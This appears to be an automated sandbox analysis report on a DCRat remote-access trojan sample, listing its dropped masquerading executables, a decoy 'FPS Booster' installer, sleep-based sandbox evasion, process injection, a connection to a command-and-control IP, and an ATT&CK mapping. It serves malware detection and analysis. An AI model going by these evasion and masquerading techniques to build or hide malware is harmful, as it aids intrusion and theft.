Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Thread delayed: delay time: 600000
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Thread delayed: delay time: 599874
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Thread delayed: delay time: 599765
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Thread delayed: delay time: 599656
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Thread delayed: delay time: 599547
Source: C:\Windows\regedit\explorer.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\regedit\explorer.exe	Thread delayed: delay time: 600000
Source: C:\Windows\regedit\explorer.exe	Thread delayed: delay time: 599890
Source: C:\Windows\regedit\explorer.exe	Thread delayed: delay time: 599781
Source: C:\Windows\regedit\explorer.exe	Thread delayed: delay time: 599672
Source: C:\Windows\regedit\explorer.exe	Thread delayed: delay time: 599562
Source: C:\Windows\regedit\explorer.exe	Thread delayed: delay time: 599453
Source: C:\Windows\regedit\explorer.exe	Thread delayed: delay time: 599343

Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Window / User API: threadDelayed 558	Jump to behavior
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Window / User API: threadDelayed 675
Source: C:\Windows\regedit\explorer.exe	Window / User API: threadDelayed 1195

Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nss20C1.tmp\System.dll			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe TID: 7276	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe TID: 7888	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe TID: 7888	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe TID: 7888	Thread sleep time: -599889s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe TID: 7892	Thread sleep count: 558 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe TID: 7888	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe TID: 7888	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe TID: 7888	Thread sleep time: -599321s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe TID: 7716	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe TID: 7628	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\regedit\explorer.exe TID: 7780	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe TID: 7784	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe TID: 8120	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe TID: 8120	Thread sleep time: -600000s >= -30000s
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe TID: 8128	Thread sleep count: 122 > 30
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe TID: 8120	Thread sleep time: -599874s >= -30000s
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe TID: 8128	Thread sleep count: 675 > 30
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe TID: 8120	Thread sleep time: -599765s >= -30000s
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe TID: 8120	Thread sleep time: -599656s >= -30000s
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe TID: 8120	Thread sleep time: -599547s >= -30000s
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe TID: 8068	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\regedit\explorer.exe TID: 4476	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\regedit\explorer.exe TID: 4476	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\regedit\explorer.exe TID: 4476	Thread sleep time: -599890s >= -30000s
Source: C:\Windows\regedit\explorer.exe TID: 1544	Thread sleep count: 1195 > 30
Source: C:\Windows\regedit\explorer.exe TID: 4476	Thread sleep time: -599781s >= -30000s
Source: C:\Windows\regedit\explorer.exe TID: 4476	Thread sleep time: -599672s >= -30000s
Source: C:\Windows\regedit\explorer.exe TID: 4476	Thread sleep time: -599562s >= -30000s
Source: C:\Windows\regedit\explorer.exe TID: 4476	Thread sleep time: -599453s >= -30000s
Source: C:\Windows\regedit\explorer.exe TID: 4476	Thread sleep time: -599343s >= -30000s
Source: C:\Windows\regedit\explorer.exe TID: 1096	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\regedit\explorer.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\regedit\explorer.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Code function: 7_2_00406301 FindFirstFileW,FindClose,		7_2_00406301
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Code function: 7_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,		7_2_00406CC7

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe

Code function: 0_2_00F3CB04 GetSystemInfo,

0_2_00F3CB04

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Thread delayed: delay time: 599889	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Thread delayed: delay time: 599321	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\regedit\explorer.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Thread delayed: delay time: 600000
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Thread delayed: delay time: 599874
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Thread delayed: delay time: 599765
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Thread delayed: delay time: 599656
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Thread delayed: delay time: 599547
Source: C:\Windows\regedit\explorer.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\regedit\explorer.exe	Thread delayed: delay time: 600000
Source: C:\Windows\regedit\explorer.exe	Thread delayed: delay time: 599890
Source: C:\Windows\regedit\explorer.exe	Thread delayed: delay time: 599781
Source: C:\Windows\regedit\explorer.exe	Thread delayed: delay time: 599672
Source: C:\Windows\regedit\explorer.exe	Thread delayed: delay time: 599562
Source: C:\Windows\regedit\explorer.exe	Thread delayed: delay time: 599453
Source: C:\Windows\regedit\explorer.exe	Thread delayed: delay time: 599343

Source: savesbrokerDriverSavesbroker.exe, 00000005.00000002.1401719918.000000001BBB1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 018 VMware, Inc.X.
Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: explorer.exe.5.dr	Binary or memory string: 1998-2018 VMware, Inc.X.
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: WerFault.exe, 00000011.00000002.1428428832.000000001B300000.00000004.00000020.00020000.00000000.sdmp, HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, 00000017.00000002.1525200074.000000001B600000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: explorer.exe, 0000001B.00000002.1783183065.000000001B082000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlls
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware-42 27 c7 3b 45 a3 e4 a4-61 bc 19 7c 28 5c 10 19
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	API call chain: ExitProcess graph end node	graph_2-199
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	API call chain: ExitProcess graph end node	graph_2-226
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	API call chain: ExitProcess graph end node	graph_2-251
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	API call chain: ExitProcess graph end node	graph_2-254
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	API call chain: ExitProcess graph end node	graph_2-167
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	API call chain: ExitProcess graph end node	graph_7-5250

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe

Code function: 2_2_004012D9 rdtsc

2_2_004012D9

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe

Code function: 0_2_00F3EE30 LdrInitializeThunk,

0_2_00F3EE30

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe

2_2_004011CF

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Code function: 2_2_0040119D mov eax, dword ptr fs:[00000030h]		2_2_0040119D
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Code function: 2_2_004011AF mov eax, dword ptr fs:[00000030h]		2_2_004011AF

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe

Code function: 2_2_00401AE1 GetCommandLineA,GetModuleHandleA,GetProcessHeap,ExitProcess,

2_2_00401AE1

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\regedit\explorer.exe	Process token adjusted: Debug
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\regedit\explorer.exe

Network Connect: 188.120.228.203 80

.NET source code references suspicious native API functions

Source: 0.2.UNFOT5F1qt.exe.2a77064.0.raw.unpack, Core.cs	Reference to suspicious API methods: OpenProcess(2035711u, 0, P_0)
Source: 0.2.UNFOT5F1qt.exe.2a77064.0.raw.unpack, Core.cs	Reference to suspicious API methods: ReadProcessMemory(intPtr, num5, array, num4, ref lpNumberOfBytesRead)
Source: 0.2.UNFOT5F1qt.exe.2a77064.0.raw.unpack, Core.cs	Reference to suspicious API methods: VirtualProtectEx(intPtr, (uint)(num5 + i + num6 + 232), 50, 64u, out lpflOldProtect)

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe

Memory written: C:\Users\user\Desktop\UNFOT5F1qt.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process created: C:\Users\user\Desktop\UNFOT5F1qt.exe "C:\Users\user\Desktop\UNFOT5F1qt.exe"	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process created: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe "C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe"	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process created: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe "C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process created: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe "C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe"	Jump to behavior

Source: savesbrokerDriverSavesbroker.exe, 00000005.00000000.1348990255.0000000000822000.00000002.00000001.01000000.00000007.sdmp, WerFault.exe.5.dr, HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe0.5.dr, WmiPrvSE.exe.5.dr, savesbrokerDriverSavesbroker.exe.2.dr, RuntimeBroker.exe.5.dr	Binary or memory string: Shell_TrayWndPath
Source: savesbrokerDriverSavesbroker.exe, 00000005.00000000.1348990255.0000000000822000.00000002.00000001.01000000.00000007.sdmp, WerFault.exe.5.dr, HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe0.5.dr, WmiPrvSE.exe.5.dr, savesbrokerDriverSavesbroker.exe.2.dr, RuntimeBroker.exe.5.dr	Binary or memory string: Program ManagerShowHideOpen

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Queries volume information: C:\Users\user\Desktop\UNFOT5F1qt.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Queries volume information: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe VolumeInformation	Jump to behavior
Source: C:\Windows\regedit\explorer.exe	Queries volume information: C:\Windows\regedit\explorer.exe VolumeInformation
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Queries volume information: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe VolumeInformation
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Queries volume information: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe VolumeInformation
Source: C:\Windows\regedit\explorer.exe	Queries volume information: C:\Windows\regedit\explorer.exe VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe

Code function: 7_2_00406831 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

7_2_00406831

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 5.0.savesbrokerDriverSavesbroker.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.1520715428.000000000285A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1476965095.0000000002EE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1397323956.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.1348990255.0000000000822000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1426473572.00000000026A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.1476991915.0000000002D40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: savesbrokerDriverSavesbroker.exe PID: 7188, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WerFault.exe PID: 7604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 7664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe PID: 7672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe PID: 8000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 616, type: MEMORYSTR
Source: Yara match	File source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Pictures\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\WmiPrvSE.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\regedit\explorer.exe, type: DROPPED

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 5.0.savesbrokerDriverSavesbroker.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.1520715428.000000000285A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1476965095.0000000002EE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1397323956.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.1348990255.0000000000822000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1426473572.00000000026A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.1476991915.0000000002D40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: savesbrokerDriverSavesbroker.exe PID: 7188, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WerFault.exe PID: 7604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 7664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe PID: 7672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe PID: 8000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 616, type: MEMORYSTR
Source: Yara match	File source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Pictures\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\WmiPrvSE.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\regedit\explorer.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	11 Input Capture	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	21 Native API	1 Scheduled Task/Job	212 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	17 System Information Discovery	Remote Desktop Protocol	11 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	21 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	4 Obfuscated Files or Information	Security Account Manager	131 Security Software Discovery	SMB/Windows Admin Shares	1 Clipboard Data	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Registry Run Keys / Startup Folder	2 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	111 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	333 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
